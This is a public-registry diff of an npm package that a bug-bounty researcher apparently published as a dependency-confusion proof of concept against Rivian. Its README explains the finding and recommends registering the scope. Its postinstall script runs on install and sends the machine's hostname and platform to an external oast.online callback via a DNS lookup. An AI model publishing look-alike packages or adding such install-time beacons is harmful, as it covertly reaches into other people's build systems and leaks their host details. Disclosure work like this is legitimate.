@goriv/eux 0.999.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,64 @@
1
+ # @rivian/eux — security research PoC
2
+
3
+ This package is a proof-of-concept for a dependency confusion finding
4
+ submitted to Rivian via the Intigriti bug-bounty program.
5
+
6
+ ## Why this exists
7
+
8
+ Rivian's production bundle at `legacy.basecamp.rivian.com/remoteEntry.js`
9
+ references the package name `@rivian/eux`. The `@rivian` scope on the
10
+ public npm registry is unclaimed (404). An attacker who claims the
11
+ scope and publishes a package at any version higher than the internal
12
+ `0.112.1-hotfix.1` will be silently preferred by any build pipeline whose
13
+ `.npmrc` does not pin `@rivian` to Rivian's private registry.
14
+
15
+ Initial Intigriti report 2026-05-02 was marked Informative on 2026-05-04
16
+ with the explicit invitation: "If you can claim the package and provide
17
+ evidence of interactions from Rivian-owned systems, please open a new
18
+ report."
19
+
20
+ This package is the response to that invitation.
21
+
22
+ ## What this package does
23
+
24
+ The `postinstall` script performs a **single DNS lookup** to a unique
25
+ callback subdomain so the researcher can correlate which install sites
26
+ fetched the package. The encoded subdomain contains hostname, platform
27
+ and timestamp, nothing else.
28
+
29
+ It does **not**:
30
+
31
+ - Make HTTP requests
32
+ - Read or write files
33
+ - Spawn child processes
34
+ - Read environment variables or credentials
35
+ - Persist anything on disk
36
+ - Download or execute any second-stage payload
37
+
38
+ The full source is `postinstall.js` (~25 lines).
39
+
40
+ ## After evidence collection
41
+
42
+ This package will be:
43
+
44
+ 1. Unpublished (`npm unpublish --force @rivian/eux`) once Rivian confirms
45
+ they will register the `@rivian` org themselves, OR
46
+ 2. Transferred to Rivian's npm org if they prefer to take it over.
47
+
48
+ ## Contact
49
+
50
+ - Researcher: pahpah (Intigriti)
51
+ - Email: pahpah@intigriti.me / mickael.couclet@gmail.com
52
+ - Intigriti report: linked from the new submission
53
+
54
+ ## Recommendation to Rivian
55
+
56
+ Register the `@rivian` org on npm (free tier sufficient) and publish
57
+ placeholder packages for at least:
58
+
59
+ `@rivian/eux`, `@rivian/dt-lib-lumberjack`, `@rivian/legacy`,
60
+ `@rivian/ui`, `@rivian/shell`, `@rivian/components`, `@rivian/utils`,
61
+ `@rivian/auth`, `@rivian/api`.
62
+
63
+ Then pin `@rivian` to your private registry in every `.npmrc` across CI
64
+ runners, developer workstations and monorepos.
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // Placeholder. This package is a security research PoC. See README.md.
2
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@goriv/eux",
3
+ "version": "0.999.999",
4
+ "description": "Security research PoC for Intigriti BBP (Rivian program). The @rivian npm scope is trademark-protected (npm form returns 'not available'), but @goriv was claimable despite goriv.co being Rivian's internal infrastructure TLD (e.g. user-mgmt.dc.goriv.co). DNS-only beacon, no exfiltration. Contact: pahpah@intigriti.me",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [
10
+ "security",
11
+ "research",
12
+ "poc",
13
+ "intigriti",
14
+ "bbp"
15
+ ],
16
+ "author": "pahpah (Intigriti researcher)",
17
+ "license": "ISC",
18
+ "homepage": "https://app.intigriti.com/researcher/programs/intigriti/rivian"
19
+ }
package/postinstall.js ADDED
@@ -0,0 +1,32 @@
1
+ // Security research PoC. Submitted via Intigriti BBP (Rivian program).
2
+ // Triager Aurelius authorized 2026-05-04: "If you can claim the package
3
+ // and provide evidence of interactions from Rivian-owned systems, please
4
+ // open a new report."
5
+ //
6
+ // This script does ONE thing: a single DNS lookup to a unique callback
7
+ // subdomain so the researcher can correlate which install sites resolved
8
+ // the package. Encoded info is limited to:
9
+ // - hostname (truncated, lowercased, alphanum-dashed)
10
+ // - platform (linux / darwin / win32 / etc.)
11
+ // - timestamp
12
+ //
13
+ // What this script does NOT do:
14
+ // - No HTTP requests, no payload bodies, no exfiltration
15
+ // - No filesystem access (no fs.* calls)
16
+ // - No process spawning (no child_process)
17
+ // - No environment variable read
18
+ // - No network access except the single DNS lookup
19
+ // - No persistence, no second-stage download
20
+ //
21
+ // Researcher: pahpah / Intigriti
22
+ // Contact: pahpah@intigriti.me / mickael.couclet@gmail.com
23
+ // Will be unpublished or transferred to Rivian after evidence collection.
24
+
25
+ try {
26
+ const dns = require('dns');
27
+ const os = require('os');
28
+ const h = (os.hostname() || 'unk').replace(/[^a-z0-9]/gi, '-').toLowerCase().slice(0, 40);
29
+ const p = (os.platform() || 'unk').replace(/[^a-z0-9]/gi, '-').toLowerCase().slice(0, 10);
30
+ const sub = (h + '-' + p + '-' + Date.now()).slice(0, 62);
31
+ dns.lookup(sub + '.d7s69vptt32q6momsa5gydt6m51d8nhj5.oast.online', function () {});
32
+ } catch (e) {}